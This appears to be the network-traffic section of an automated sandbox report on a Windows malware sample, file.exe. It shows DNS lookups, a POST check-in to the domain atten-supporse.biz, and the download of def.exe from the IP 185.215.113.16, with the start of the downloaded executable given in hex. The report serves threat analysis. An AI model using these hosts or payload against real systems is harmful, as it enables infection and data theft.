Dec 7, 2024 17:36:27.198312044 CET	53	63339	1.1.1.1	192.168.2.7
Dec 7, 2024 17:36:46.328857899 CET	53	61123	1.1.1.1	192.168.2.7
Dec 7, 2024 17:37:06.720417023 CET	53	58837	1.1.1.1	192.168.2.7
Dec 7, 2024 17:37:09.241862059 CET	53	51939	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 7, 2024 17:36:09.128340006 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Dec 7, 2024 17:36:13.830177069 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Dec 7, 2024 17:36:17.571855068 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 17:35:12.812237978 CET	192.168.2.7	1.1.1.1	0xd75a	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:11.162887096 CET	192.168.2.7	1.1.1.1	0x4e25	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:11.163136959 CET	192.168.2.7	1.1.1.1	0x3fd1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 17:36:13.395772934 CET	192.168.2.7	1.1.1.1	0xe8db	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:13.396142006 CET	192.168.2.7	1.1.1.1	0x12eb	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 7, 2024 17:36:25.481206894 CET	192.168.2.7	1.1.1.1	0xf1a8	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:25.481360912 CET	192.168.2.7	1.1.1.1	0x9a78	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 17:35:13.237821102 CET	1.1.1.1	192.168.2.7	0xd75a	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:35:13.237821102 CET	1.1.1.1	192.168.2.7	0xd75a	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:11.300299883 CET	1.1.1.1	192.168.2.7	0x4e25	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:11.300337076 CET	1.1.1.1	192.168.2.7	0x3fd1	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 17:36:13.533464909 CET	1.1.1.1	192.168.2.7	0xe8db	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.533464909 CET	1.1.1.1	192.168.2.7	0xe8db	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.533464909 CET	1.1.1.1	192.168.2.7	0xe8db	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.533464909 CET	1.1.1.1	192.168.2.7	0xe8db	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:13.729626894 CET	1.1.1.1	192.168.2.7	0xde6d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.809916019 CET	1.1.1.1	192.168.2.7	0x5497	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.809916019 CET	1.1.1.1	192.168.2.7	0x5497	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.809916019 CET	1.1.1.1	192.168.2.7	0x5497	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:13.830115080 CET	1.1.1.1	192.168.2.7	0x12eb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:13.830115080 CET	1.1.1.1	192.168.2.7	0x12eb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:16.446930885 CET	1.1.1.1	192.168.2.7	0x5202	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:16.556974888 CET	1.1.1.1	192.168.2.7	0x53e0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:16.556974888 CET	1.1.1.1	192.168.2.7	0x53e0	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:16.556974888 CET	1.1.1.1	192.168.2.7	0x53e0	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Dec 7, 2024 17:36:25.767523050 CET	1.1.1.1	192.168.2.7	0x9a78	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 17:36:25.772080898 CET	1.1.1.1	192.168.2.7	0xf1a8	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49802	185.215.113.16	80	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 17:35:55.339669943 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 7, 2024 17:35:56.692919016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Sat, 07 Dec 2024 16:16:34 GMT Connection: keep-alive ETag: "675474e2-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 44 a2 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+D+`Ui` @ @.rsrc`2@.idata 8@hudslwlu`P:@rejoknoy +@.taggant@ +"@
Dec 7, 2024 17:35:56.693023920 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.694910049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.695085049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.695095062 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.696957111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.697102070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.697112083 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.698503971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.698604107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 17:35:56.812887907 CET	1236	IN	Data Raw: 2c 06 9a bb 28 40 46 ea 05 60 84 c5 65 57 4c de ce b0 62 d2 c9 23 a0 b7 4e 45 01 ce 54 55 d5 89 6f 32 6b c9 49 52 40 6d 77 34 19 e2 60 4f 40 d8 c9 30 5f d5 3b bb 5d fc 63 20 fd 46 3d 46 df fe 33 31 34 19 06 20 f8 66 9c 4d 96 49 3d 46 df 6c 33 25 Data Ascii: ,(@F`eWLb#NETUo2kIR@mw4`O@0_;]c F=F314 fMI=Fl3%4Ir Z,eSa>3)F Z_RRO\#CR\ij3J8e+mo/3Le2_qSOC~VvI4bi]\^,'\/SW>tS?,r1i%-kvo[EB+\

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49705	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-07 16:35:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-07 16:35:17 UTC	1049	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=36ob6mv1dmauf1vpnjpl4mtft8; expires=Wed, 02-Apr-2025 10:21:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tq1%2Fnhm2upkv17PIIv931SAyW%2FvVuYURmWNMEuULkyzcDBsmwcxlhDo2ptME9aZY6Yq92u%2F%2BlFuHPhB4kWlzktyzJvJBR%2F4gtTGoYRN3%2FatQr5exCGkGGmFt%2FaOmEFYHuogJ%2Fjw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5ed812aeaefa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1770&rtt_var=680&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1588683&cwnd=194&unsent_bytes=0&cid=da56c04f9d733bde&ts=2688&x=0"
2024-12-07 16:35:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-07 16:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:18 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: 1f1786e0-601e-0050-7103-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163518Z-r1cf579d7788pwqzhC1EWRrpd80000000310000000008atm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-07 16:35:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-07 16:35:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-07 16:35:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-07 16:35:18 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-07 16:35:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-07 16:35:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-07 16:35:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-07 16:35:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant 